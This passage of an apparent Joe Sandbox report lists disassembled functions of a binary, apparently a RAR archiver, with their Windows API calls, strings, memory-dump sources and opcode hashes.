Instruction Fuzzy Hash: A3F1E123B09A4685EFA4DB11D4483BD63A1FB64B84F460031FA4D87785EFBED4A5C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE794C10 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6EE794C89
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6EE794CA1
RtlVirtualUnwind.KERNEL32 ref: 00007FF6EE794CDC
IsDebuggerPresent.KERNEL32 ref: 00007FF6EE794D15
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6EE794D1F
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6EE794D2A

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction ID: 39adb5df7176186f126c91785b5ca27ebae6314de348b5b3117b82cc8e115fb8
Opcode Fuzzy Hash: 63ae987077db39b18cf30f3f9a6d60a5092a8d8f4155411af1d7abcba61ca722
Instruction Fuzzy Hash: D1316D37608B8186DB608F24E8403AA33A4FB98758F510136EA8D83B98EF79C165CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE74EF50 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6EE74EE47), ref: 00007FF6EE74EF73
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6EE74EE47), ref: 00007FF6EE74EF84
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6EE74EFA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6EE74EFCA
GetLastError.KERNEL32 ref: 00007FF6EE74EFD4
CloseHandle.KERNEL32 ref: 00007FF6EE74EFE7

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction ID: 256fcdd5afeece214ee3469ebe50379652eac1afc1eeef3c93c1cf9c62afafdc
Opcode Fuzzy Hash: a68743f79c0fdba85814f3f902c484d9b924ee88fd84a1759920b380f60e4056
Instruction Fuzzy Hash: 5A117F33A18B4186EB508F61F44066BB3A5FB98B90F454436FA8E83A28DF7DE015CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE753A70 Relevance: 6.1, APIs: 4, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,00007FF6EE7511B0,?,?,?,00000000,?,?,00007FF6EE74F30F,00000000,00007FF6EE736380,?,00007FF6EE732EC8), ref: 00007FF6EE753AC4
CreateFileW.KERNEL32(?,?,?,00007FF6EE7511B0,?,?,?,00000000,?,?,00007FF6EE74F30F,00000000,00007FF6EE736380,?,00007FF6EE732EC8), ref: 00007FF6EE753B0A
DeviceIoControl.KERNEL32 ref: 00007FF6EE753B55
CloseHandle.KERNEL32(?,?,?,00007FF6EE7511B0,?,?,?,00000000,?,?,00007FF6EE74F30F,00000000,00007FF6EE736380,?,00007FF6EE732EC8), ref: 00007FF6EE753B60

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CreateFile$CloseControlDeviceHandle
String ID:
API String ID: 998109204-0
Opcode ID: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction ID: 2df5fb08c05b9cb601935c04be98830e0bf8a6f041a1da3e78c2fb3caa20c537
Opcode Fuzzy Hash: eff6c290fb367c5b76febf0d76c2ae076eb862a10f6af346eafb357c39462c7d
Instruction Fuzzy Hash: 5331AF32618B8186EB608F11F44469AB7A5FB987E4F010235EEAD43BD8CF7DC465CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE738884 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

CMT, xrefs: 00007FF6EE738D2A

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID:
String ID: CMT
API String ID: 0-2756464174
Opcode ID: 6111d3dafd19f65bc3558291276909d6d167d2f641e81f6c87bebc1b0329fce1
Instruction ID: 81404da86b389d8dac33628959cf7b03bd6a0b8c1d6a3bc9e4db80584cc8a303
Opcode Fuzzy Hash: 6111d3dafd19f65bc3558291276909d6d167d2f641e81f6c87bebc1b0329fce1
Instruction Fuzzy Hash: E5D10763A1868281EF60EB21D4482BD6391FFA5780F460531FA5E877D5DEBEE511C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE7986D4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE798704

Part of subcall function 00007FF6EE794E3C: GetCurrentProcess.KERNEL32(00007FF6EE799CC5), ref: 00007FF6EE794E69

Strings

., xrefs: 00007FF6EE798B24
*?, xrefs: 00007FF6EE79872B

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction ID: de4b83c410992eb1de5f195630b0efb62791dcb2458571ece7d063ec8db988dc
Opcode Fuzzy Hash: 354f185c14a0bc8d05e3972864cc7dbacf8a132eb4984f49e6355014e857c6aa
Instruction Fuzzy Hash: F851F123B24A9585FF10CFA2D8016AC63A4FF64BD8B464531EE0D97B85EEBED061C305

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE77B340 Relevance: 4.5, APIs: 3, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6EE77B39A
CheckTokenMembership.ADVAPI32 ref: 00007FF6EE77B3B1
FreeSid.ADVAPI32 ref: 00007FF6EE77B3C2

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction ID: 57d54356ceef7a1070e652fcb9c474b5cac4e53601461aaf6c1ccbae0da0ed22
Opcode Fuzzy Hash: db3c1d02e190598f29aa164aeddc5f855d0a4ca8ba77325bab1d25996cb1689a
Instruction Fuzzy Hash: 7F113472B14A018AEB108FB5E4813AE7BB0FB48748F41153AEA8D93A58DF3CC154CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE753144 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(00007FF6EE752684), ref: 00007FF6EE75319F

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction ID: a116587916066a3e7d9e9f0ffc6dd25200f09d9da0bfbded397642d5a61c7dfb
Opcode Fuzzy Hash: 336a33042f1e52100b28f5a1ad6ae687e8956255ef3791e684bc327077314d0d
Instruction Fuzzy Hash: 83016D23A2868186EF70DB25E4413AA73A0FB94748F810131F6CCC255CDEADD658CF05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE796130 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6EE7962AD

Strings

nan, xrefs: 00007FF6EE796198
nan(ind), xrefs: 00007FF6EE7961E6
INF, xrefs: 00007FF6EE7961A3
NAN, xrefs: 00007FF6EE796191
inf, xrefs: 00007FF6EE7961B6
nan(snan), xrefs: 00007FF6EE7961D0
NAN(IND), xrefs: 00007FF6EE7961DB
NAN(SNAN), xrefs: 00007FF6EE7961C5

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction ID: 511ca136a9618b9e854128389c17999a6bc2f9a9cc59a80a85e1c8dab72e024a
Opcode Fuzzy Hash: 336881e81ddd14afa9560f251b33c86b073c2b2d41bd1fd01ec7cedf827ef5ce
Instruction Fuzzy Hash: E141AD73A09B4589FB00CF64E8517A933A4EB28398F024236EE5C87B59DE7ED075C349

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE747988 Relevance: 13.6, APIs: 9, Instructions: 60COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(00000000,00000100,?,?,00000002,00007FF6EE747892), ref: 00007FF6EE7479BC
GetStdHandle.KERNEL32 ref: 00007FF6EE7479CA
GetConsoleMode.KERNEL32 ref: 00007FF6EE7479E0
GetConsoleMode.KERNEL32 ref: 00007FF6EE7479EE
SetConsoleMode.KERNEL32 ref: 00007FF6EE7479FC
SetConsoleMode.KERNEL32 ref: 00007FF6EE747A0A
ReadConsoleW.KERNEL32 ref: 00007FF6EE747A24
SetConsoleMode.KERNEL32 ref: 00007FF6EE747A3A
SetConsoleMode.KERNEL32 ref: 00007FF6EE747A47

Part of subcall function 00007FF6EE7482E4: fflush.LIBCMT ref: 00007FF6EE74832F

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: Console$Mode$Handle$Readfflush
String ID:
API String ID: 1039280553-0
Opcode ID: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction ID: 1801f4029ef6b22c7a9ad4074285676b4bc6fc0775328434f1463caca69e5f58
Opcode Fuzzy Hash: 5c62bb105008418d5d8f1a35d4748ced2dc44b1bf30dc7e2d2292546f420945d
Instruction Fuzzy Hash: 5821C227B1864283FF009F25E8002396361FBA9BA1F150135FE4E43768DEBEE456C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE780140 Relevance: 12.2, APIs: 8, Instructions: 205COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6EE780211
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE780222
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6EE78022D
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE78023E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6EE7803D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE7803E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6EE7803EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6EE780400

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction ID: 4c243f376adb5ec8ac2169f66ee66342b0f97774cd03187c1d834636128688ad
Opcode Fuzzy Hash: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction Fuzzy Hash: EA81F423E08A9285FF64DA11E4443BD6351EB74B94F164031FA4D87A99DFBEE462C30E

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE73C468 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 420COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE73C7AE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE73C97F
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE73C9DC

Strings

;%u, xrefs: 00007FF6EE73C79E
xc%u, xrefs: 00007FF6EE73C9CC
x%u, xrefs: 00007FF6EE73C96F

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%u$x%u$xc%u
API String ID: 233258989-2277559157
Opcode ID: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction ID: 8b33b009302a6b88dcf278749a83187748b4dc6a3b7e3e4e372c0a3da6d537b2
Opcode Fuzzy Hash: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction Fuzzy Hash: 7A02B123B1C68241FFA4DA21D1493FE2751AB61784F024031EA8EC7786DEBEE564C71B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EE751634 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF6EE751694
GetShortPathNameW.KERNEL32 ref: 00007FF6EE7516B5

Part of subcall function 00007FF6EE77DAC0: CompareStringW.KERNEL32(?,?,?,?,?,?,00007FF6EE764C1E,?,?,?,?,?,?,?,00007FF6EE789706), ref: 00007FF6EE77DADF

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6EE75175F
MoveFileW.KERNEL32 ref: 00007FF6EE7517CD
MoveFileW.KERNEL32 ref: 00007FF6EE751815

Strings

rtmp%d, xrefs: 00007FF6EE751755

Memory Dump Source

Source File: 0000003B.00000002.228322207.00007FF6EE731000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF6EE730000, based on PE: true

Associated: 0000003B.00000002.228314262.00007FF6EE730000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228334346.00007FF6EE7A0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228341437.00007FF6EE7B8000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228348804.00007FF6EE7B9000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7BA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7C4000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7CE000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228355631.00007FF6EE7D6000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228381241.00007FF6EE7D8000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000003B.00000002.228391215.00007FF6EE7DE000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_59_2_7ff6ee730000_rar.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction ID: cf72bd9534dfee9adcffb53273e14b9f15d353ded13e6dc32b07bcc04061cdfa
Opcode Fuzzy Hash: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction Fuzzy Hash: E7519523A1898744EF709B21D8406FE2351FF60795F460031F94DD7A9ADEBEE629C309

Uniqueness

Uniqueness Score: -1.00%

